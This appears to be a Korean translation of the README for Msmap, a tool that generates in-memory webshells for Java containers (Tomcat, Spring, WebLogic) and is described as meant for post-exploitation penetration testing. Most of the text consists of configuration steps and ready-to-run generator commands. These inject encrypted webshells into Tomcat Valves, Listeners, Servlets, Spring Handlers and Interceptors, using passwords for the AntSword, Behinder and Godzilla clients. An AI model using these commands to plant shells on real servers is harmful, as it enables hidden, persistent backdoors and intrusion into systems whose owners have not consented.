
모듈형 메모리 웹쉘 생성기로, Java 컨테이너(Tomcat, Spring, WebLogic)를 지원하며 다양한 쉘 유형, 인코더 및 자동 컴파일 기능을 제공하여 포스트 익스플로잇 침투 테스트에 사용됩니다.
Msmap은 메모리 WebShell 생성기입니다. 다양한 컨테이너, 구성 요소, 인코더, WebShell / Proxy / Killer 및 관리 클라이언트와 호환됩니다. 简体中文
아이디어 배경 I, 아이디어 배경 II, 아이디어 배경 III



*: SpringHandler는 JDK8+만 지원합니다.
*: JVM은 기본적으로 Linux Tomcat 8/9를 지원하며, 고급 가이드에 따라 더 많은 버전을 적용할 수 있습니다.
WebShell
모듈화 불필요
Proxy: Neo-reGeorg, wsproxy
Killer: java-memshell-scanner, ASP.NET-Memshell-Scanner
git clone [email protected]:hosch3n/msmap.git
cd msmap
python generator.py
[경고] 고유한 비밀번호를 설정해야 합니다. 옵션은 대소문자를 구분합니다.
config/environment.py 편집
# Auto Compile
auto_build = True
# Base64 Encode Class File
b64_class = True
# Generate Script File
generate_script = True
# Compiler Absolute Path
java_compiler_path = r"~/jdk1.6.0_04/bin/javac"
dotnet_compiler_path = r"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"
gist/java/container/tomcat/servlet.py 편집
// Servlet Path Pattern
private static String pattern = "*.xml";
WsFilter에서 암호화 인코더를 사용하는 경우, 비밀번호는 경로(예: /passwd)와 동일해야 합니다.
gist/java/container/jdk/javax.py와 lib/servlet-api.jar는 대상 컨테이너에 따라 교체할 수 있습니다.
pip3 install pyperclip 명령으로 자동 클립보드 복사를 지원합니다.
명령어 with Base64 Encoder | Tomcat Valve에 주입
python generator.py Java Tomcat Valve Base64 CMD passwd
JSP 유형, 기본 인코더 사용 | Tomcat Valve에 주입
python generator.py Java Tomcat Valve RAW AntSword passwd
JSP 유형, aes_128_ecb_pkcs7_padding_md5 인코더 사용 | Tomcat Listener에 주입
python generator.py Java Tomcat Listener AES128 AntSword passwd
JSP 유형, rc_4_sha256 인코더 사용 | Tomcat Servlet에 주입
python generator.py Java Tomcat Servlet RC4 AntSword passwd
JSP 유형, xor_md5 인코더 사용 | AgentFiless HttpServlet에 주입
python generator.py Java JDK JavaX XOR AntSword passwd
JSPJS 유형, aes_128_ecb_pkcs7_padding_md5 인코더 사용 | Tomcat WsFilter에 주입
python generator.py Java Tomcat WsFilter AES128 JSPJS passwd
JSPJS 유형, xor_md5 인코더 사용 | Spring Handler에 주입
python generator.py Java Spring Handler XOR JSPJS passwd
default_aes 유형 | Tomcat Valve에 주입
python generator.py Java Tomcat Valve AES128 Behinder rebeyond
default_xor_base64 유형 | Spring Interceptor에 주입
python generator.py Java Spring Interceptor XOR Behinder rebeyond
JAVA_AES_BASE64 유형 | Tomcat Valve에 주입
python generator.py Java Tomcat Valve AES128 Godzilla superidol
JAVA_AES_BASE64 유형 | AgentFiless HttpServlet에 주입
python generator.py Java JDK JavaX AES128 Godzilla superidol
JAVA_AES_BASE64 유형 | Spring Handler에 주입
python generator.py Java Spring Handler AES128 Godzilla superidol
Behinder | wsMemShell | ysomap